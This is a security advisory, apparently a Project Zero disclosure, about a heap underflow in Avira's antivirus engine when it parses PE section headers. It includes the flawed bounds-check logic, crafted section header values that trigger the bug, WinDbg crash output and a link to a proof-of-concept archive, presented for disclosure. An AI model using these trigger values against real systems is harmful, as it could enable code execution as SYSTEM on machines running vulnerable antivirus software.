Avira – Heap Underflow Parsing PE Section Headers
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=765 One of the things you might expect an Antivirus engine to do reliably is parse PE files. However, after some simple testing with Avira, I found a heap underflow (that is, writing *before* a heap allocation) parsing section headers. If a section header has a very large relative virtual address, Avira will wrap calculating the offset into a heap buffer, and write attacker controlled data to it (the data from section->PointerToRawData in the input file). The code is doing something like: if (Section->SizeOfRawData + Section->VirtualAddress < 8192) { buf = malloc(8192); memcpy(buf + Section->VirtualAddress, input + Section->PointerToRawData, Section->SizeOfRawData); } The bug is that you need to check if Section->VirtualAddress + Section->SizeOfRawData wraps. This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM. To reproduce this bug, create an executable with a section like this: NAME RVA VSZ RAW_SZ RAW_PTR nREL REL_PTR nLINE LINE_PTR FLAGS .text ff003fff 1fff 1fff 200 0 0 0 0 0 --- With Page heap enabled, this should crash reliably trying to memcpy the data from section.PointerToRawData (e58.2b8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000041 ebx=00000000 ecx=000007f7 edx=00000002 esi=35785219 edi=41294000 eip=7291545c esp=41bedaf0 ebp=41bedaf8 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 aecore!ave_proc+0x1fc2c: 7291545c f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:011> db esi 35785219 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 35785229 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 35785239 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 35785249 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 35785259 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 35785269 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 35785279 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 35785289 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA I think it started writing to ptr - 8192, lets see what's there: 0:011> db edi - (0n8192 - (ecx * 4)) 41293fdc 00 00 00 41 41 41 41 41-41 41 41 41 41 41 41 41 ...AAAAAAAAAAAAA 41293fec 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 41293ffc 41 41 41 41 ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? AAAA???????????? 4129400c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 4129401c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 4129402c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 4129403c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 4129404c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? Yes! Without page heap, you should get heap corruption, probably writing to 0x41414141. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39600.zip |